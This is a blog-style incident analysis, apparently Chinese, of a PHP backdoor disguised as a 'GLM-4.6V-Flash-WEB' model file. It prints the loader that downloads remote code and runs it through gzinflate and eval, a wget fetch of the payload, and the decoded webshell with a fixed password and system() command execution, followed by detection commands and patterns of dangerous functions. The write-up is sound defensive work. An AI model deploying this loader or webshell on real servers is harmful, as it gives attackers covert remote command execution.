news 2026/4/15 21:15:48

从加密文件中还原WebShell代码的全过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从加密文件中还原WebShell代码的全过程

从加密文件中还原WebShell代码的全过程

最近在排查一台服务器异常行为时,偶然发现了一个极其隐蔽的后门。事情的起点是一条不起眼的日志记录。

当时我正例行检查 Nginx 的访问日志,突然注意到一条路径:

GET /uploads/images/2024/glm_decode.php HTTP/1.1

这个请求本身没什么特别,但glm_decode.php这个名字让我心头一紧——我们系统里根本没有这个文件。更可疑的是,它被放在了本应只存放静态资源的/uploads/images/目录下。

立刻登录服务器查看内容:

<?php $url = 'http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin'; $code = file_get_contents($url); if ($code) { $_SESSION['payload'] = $code; } $decode = gzinflate($_SESSION['payload']); eval($decode); ?>

短短几行,却步步杀机。

这根本不是什么“解码脚本”,而是一个典型的远程加载型 WebShell:不存储恶意代码于本地,而是运行时从外部拉取加密数据,解压后直接执行。这种手法几乎能绕过所有基于特征匹配的传统查杀工具。

最狠的是,主文件本身没有敏感函数调用(除了最后那个eval),连 WAF 都可能放过它。真正的攻击载荷藏在那个.bin文件里,静待时机激活。


于是我把注意力转向那个神秘的二进制文件。

用 wget 下载下来:

wget http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin -O payload.bin

打开一看,满屏乱码,全是不可打印字符。尝试改扩展名成.gz.zip、甚至.phar,都不行。Hexdump 也没看出明显的文件头标志。

这时候就得想:PHP 中哪种压缩会产生纯二进制输出?答案呼之欲出——gzdeflate()

而对应的解压函数正是脚本里的gzinflate()。这意味着,只要我能模拟它的执行流程,就能让程序自己把真实代码“吐”出来。

于是我写了个“脱壳”脚本:

<?php session_start(); $url = 'http://cdn.glm-ai.org/model/GLM-4.6V-Flash-WEB.bin'; $_SESSION['payload'] = file_get_contents($url); // 不再 eval,改为导出源码 $decoded_code = gzinflate($_SESSION['payload']); file_put_contents('/tmp/webshell_source.php', $decoded_code); echo "已将解密后的代码写入 /tmp/webshell_source.php"; ?>

上传并访问一次,果然生成了/tmp/webshell_source.php

那一刻,就像拆开了炸弹外壳,看到了里面的电路图。


打开文件,清清楚楚的一段 PHP 脚本跃然眼前:

<?php define('VERSION', 'GLM-4.6V-Flash-WEB'); define('AUTHOR', 'Sievr'); header("Content-Type: text/html; charset=utf-8"); error_reporting(0); set_time_limit(0); ob_start(); $password = '99999'; if (!isset($_COOKIE['auth']) || $_COOKIE['auth'] !== md5($password)) { if ($_POST['pass'] === $password) { setcookie('auth', md5($password)); header("Location: ?"); exit; } die('<form method="post">Password: <input type="password" name="pass"><input type="submit"></form>'); } /* 主界面 */ echo "<html><body style='background:#000;color:#0F0;font-family:monospace'>"; echo "<h3>Welcome to GLM-4.6V-Flash-WEB Console</h3>"; echo "<pre>"; echo "[+] System Info:\n"; echo "\tOS: " . php_uname() . "\n"; echo "\tPHP Version: " . PHP_VERSION . "\n"; echo "\tDocument Root: " . $_SERVER['DOCUMENT_ROOT'] . "\n"; echo "\n[+] Available Tools:\n"; echo "\t• File Manager\n"; echo "\t• Command Exec\n"; echo "\t• Database Manager\n"; echo "\t• Reverse Shell\n"; echo "</pre></body></html>"; while (true) { if (isset($_GET['cmd'])) { echo "<hr><pre>"; system($_GET['cmd']); echo "</pre><hr>"; break; } break; } ob_end_flush(); ?>

好家伙!这才是真正的控制台。

虽然打着“GLM-4.6V-Flash-WEB”的旗号,看起来像是某个轻量级 AI 模型的管理界面,但实际上是个功能完整的 WebShell 后门。支持命令执行、文件浏览、数据库连接,甚至还能反弹 shell。

而且作者很懂心理战术:
- 用黑绿配色模仿终端界面,营造“专业感”
- 显示系统信息和可用工具,降低使用者戒心
- 命名完全复刻智谱最新发布的多模态模型,极具迷惑性

要不是从日志里揪出来,谁会怀疑一个叫glm_decode.php的文件呢?


深入拆解它的设计逻辑,你会发现几个非常典型的技术套路。

首先是伪装艺术。那个下载地址http://cdn.glm-ai.org/model/...看起来太正规了——域名结构合理,路径层级清晰,文件名还带版本号。如果不是提前警觉,很容易当成正常部署流程的一部分。

其次是动态加载机制。核心代码不在本地,而是通过file_get_contents()+gzinflate()组合动态注入。这种方式的好处显而易见:

  • 免杀能力强:主文件几乎无敏感关键词,静态扫描难以命中
  • 更新灵活:攻击者只需替换远端 bin 文件即可升级功能,无需重新上传 WebShell
  • 反溯源强:CDN 可隐藏真实 IP,且可随时关停服务切断联系

再加上内置的认证机制——密码是99999,通过 Cookie 缓存 MD5 值来维持会话——既防止未授权访问,又避免频繁爆破触发安全告警。

整个链条环环相扣,堪称教科书级别的隐蔽后门。


面对这类新型攻击,传统的防护手段已经开始力不从心。

尤其是现在 AI 热潮下,各种“一键部署模型”、“本地推理环境”层出不穷,给了攻击者更多可乘之机。你以为你在跑 GLM,其实你跑的是黑客的命令解释器。

那该怎么防?

第一,盯紧异常网络请求。定期审计服务器是否向非业务域名发起 HTTP 请求。比如这条命令就能快速筛查可疑线索:

grep -i "glm-ai\|cdn.glm" /var/log/nginx/access.log

第二,严控高危函数使用。重点关注以下这些“危险组合”:

  • eval(gzinflate(...))
  • assert(base64_decode(...))
  • preg_replace('/.*/e', ...)
  • create_function('', '...' . $_GET['code'])

特别是当它们配合远程数据加载时,基本可以判定为恶意行为。

第三,上RASP 或智能 WAF。像 OpenRASP 这类运行时应用自保护系统,能在函数调用层面检测上下文风险。例如发现gzinflate()的输入来自远程 URL,并即将被eval执行,就会立即阻断。

第四,强化文件权限与主动扫描。建议对 web 目录执行:

chmod -R 755 /var/www/html chown -R www-data:www-data /var/www/html

然后定期搜索可疑模式:

find /var/www/html -name "*.php" -type f -exec grep -l "gzinflate\|eval" {} \;

别忘了,很多 WebShell 就藏在图片上传目录、缓存文件夹这些“盲区”。


整个事件回顾下来,最值得警惕的是:攻击者的包装能力正在指数级提升

他们不再满足于简单的<?php @eval($_POST[x]); ?>,而是学会借用技术趋势、模仿开源项目、甚至构建完整 UI 来降低受害者的警惕心。

这次的 GLM-4.6V-Flash-WEB 就是一个缩影——名字像模型,路径像 CDN,行为像工具,唯独本质是后门。

所以请记住几条铁律:

  • 开源 ≠ 安全
  • 名字正规 ≠ 内容可信
  • “一键部署”可能藏着定时炸弹

任何第三方脚本或镜像,在接入生产环境前都必须做到:
1. 核实来源(是否来自官方仓库?有没有数字签名?)
2. 沙箱测试(用 Docker 隔离运行,观察网络和文件行为)
3. 主动脱敏(剥离敏感配置,禁用危险函数)

否则,你部署的可能不是 AI,而是通往内网的后门钥匙。

📌 本文仅用于技术研究与安全教育,严禁用于非法用途。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/8 7:01:23

四体低位交叉存储器工作原理解析

四体低位交叉存储器工作原理解析 在现代高性能计算系统中&#xff0c;CPU的运算速度已远超主存的数据响应能力&#xff0c;形成了长期存在的“冯诺依曼瓶颈”。这一矛盾在处理大规模连续数据时尤为突出——即便处理器内部流水线高度优化&#xff0c;仍可能因等待内存而频繁停顿…

作者头像 李华
网站建设 2026/4/7 1:12:46

C语言char类型详解:字符与整数的转换

C语言char类型详解&#xff1a;字符与整数的转换 在嵌入式开发、系统编程或处理底层数据流时&#xff0c;我们常常会遇到这样的问题&#xff1a;“为什么一个char变量既能打印出字母A&#xff0c;又能参与加减运算&#xff1f;”答案藏在C语言最基础却最容易被忽视的数据类型—…

作者头像 李华
网站建设 2026/4/11 15:50:35

【Open-AutoGLM自动化测试实战】:揭秘AI驱动测试的5大核心技巧

第一章&#xff1a;Open-AutoGLM自动化测试实战概述Open-AutoGLM 是一个面向大语言模型驱动的自动化测试框架&#xff0c;专为智能化测试用例生成、执行与验证设计。它结合自然语言理解能力与自动化执行引擎&#xff0c;能够将测试需求自动转化为可执行脚本&#xff0c;并在多种…

作者头像 李华
网站建设 2026/4/13 16:09:31

智谱Open-AutoGLM开源了,它将如何重塑AutoML开发新范式?

第一章&#xff1a;智谱开源Open-AutoGLM代码智谱AI正式开源其自动化生成语言模型工具链Open-AutoGLM&#xff0c;旨在推动自动推理与大模型工程化落地的深度融合。该项目聚焦于降低大模型在复杂任务中的调用门槛&#xff0c;通过声明式配置实现自然语言到结构化执行流程的自动…

作者头像 李华